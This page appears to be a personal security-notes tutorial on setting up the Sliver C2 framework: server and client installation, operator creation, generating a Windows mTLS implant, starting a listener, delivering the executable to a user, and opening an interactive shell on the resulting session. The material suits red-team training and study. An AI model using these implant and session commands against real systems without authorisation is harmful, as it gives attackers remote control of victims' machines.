> For the complete documentation index, see [llms.txt](https://notes.brinkles.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.brinkles.wiki/c2-and-payloads/sliver-c2.md).

# Sliver C2

## Installation

1. Download the server application

$ wget <https://github.com/BishopFox/sliver/releases/download/v1.0.6-beta/sliver-server_linux.zip>

^ Whichever is the new release

![](/files/8lFHI8tTSgMgqKtdSHTX)

2\. Unzip the file

$ unzip sliver-server\_linux.zip

![](/files/ycLKP1IpILbMXjZW0ndz)

3\. Install the required Libraries

$ sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64

![](/files/sI1TWMLBIk6F5XGASJZV)

4\. Run the application

$ sudo ./sliver-server

![](/files/h1airQxOGsTylsFET0tP)

5\. Now we need to create a session for a player to connect, and then play the player database

$ new-player --operator brinkles --lhost 192.168.0.21

$ players

![](/files/NTr48dfxoEoSqphUIOzU)

6\. The file .cfg created will need to be installed in the clients host, so save it for later! Lets start the Multiplayer mode.

$ multiplayer

![](/files/IjPP4LfrSEKIIBRoHil6)

## Client

Download the client application

$ wget <https://github.com/BishopFox/sliver/releases/download/v1.0.6-beta/sliver-client_linux.zip>

![](/files/lKAieg8vb0j1bn43Hbbp)

Unzip the application

$ unzip sliver-client\_linux.zip

![](/files/SMRzZ0qz8VpDs8PPwRg6)

Install the required libraries

$ sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64

![](/files/PVOJB4Yf8kPQ6Mi7FsdZ)

Try to run the application

$ sudo ./sliver-client

![](/files/35VmgMnFPHKBcniJvnON)

This is where you will need to copy that .cfg file. Copy the file into /home/kali/,sliver-client/configs

Try to run the application again

$ sudo ./sliver-client

![](/files/Tgye5yeAwLkbfqaerJja)

We are logged into that player!&#x20;

## How to Use Sliver

$ help

![](/files/2GRnDedUFRQQqBgp8YMF)

Display players database:

$ players

![](/files/JZyEt1LLZ2djS5S3K6Xn)

To create new players accounts, this can only be run from the sliver server not the client

$ new-player --operator \<username>  --lhost \<DNS or IP of the server>

Display the Sliver version

$ version

![](/files/kMPnk56i0HYPpHsDan6I)

## Generating Payload steps

We need to Generate an Implant (mtls, http, dns), this will generate a file saved at the location specified generate Generate a sliver binary. Lets do MTLS.

$ generate --mtls 192.168.0.21 --save ./file.exe --os Windows

![](/files/gUqCmaHXUJljEAazejlY)

Now, we can start the listener. Types of listeners can be http, https, dns, and mtls

$ mtls

$ jobs

![](/files/cpKNx6YA0NLok3pwOcca)

Lets deliver the generated mtls exe and send to the user. Once the user executes teh payload, you will see this on your screen...

![](/files/UkujvVRsM2y6JcZa2JEe)

Lets show all active sessions

$ sessions -h

$ sessions

![](/files/sJCm1fsw8ovihhS4wtie)

To kill the session, run...

$ session -k 1

![](/files/fTjzuhQGZFQKU5PErYmg)

To interact with the session, do...

$ sessions

$ session -i 7

![](/files/pRWW2kGHU9EAzwzhMBd7)

Running help you can see all the available commands to run

![](/files/HVxZv0CprtrBsEnfRiQJ)

Lets run some commands to test what you can do.&#x20;

$ whoami

$ info

$ shell

![](/files/P98h8MdpAjrfVSdbqjNB)

## Resources

<https://vk9-sec.com/how-to-set-up-use-c2-sliver/>
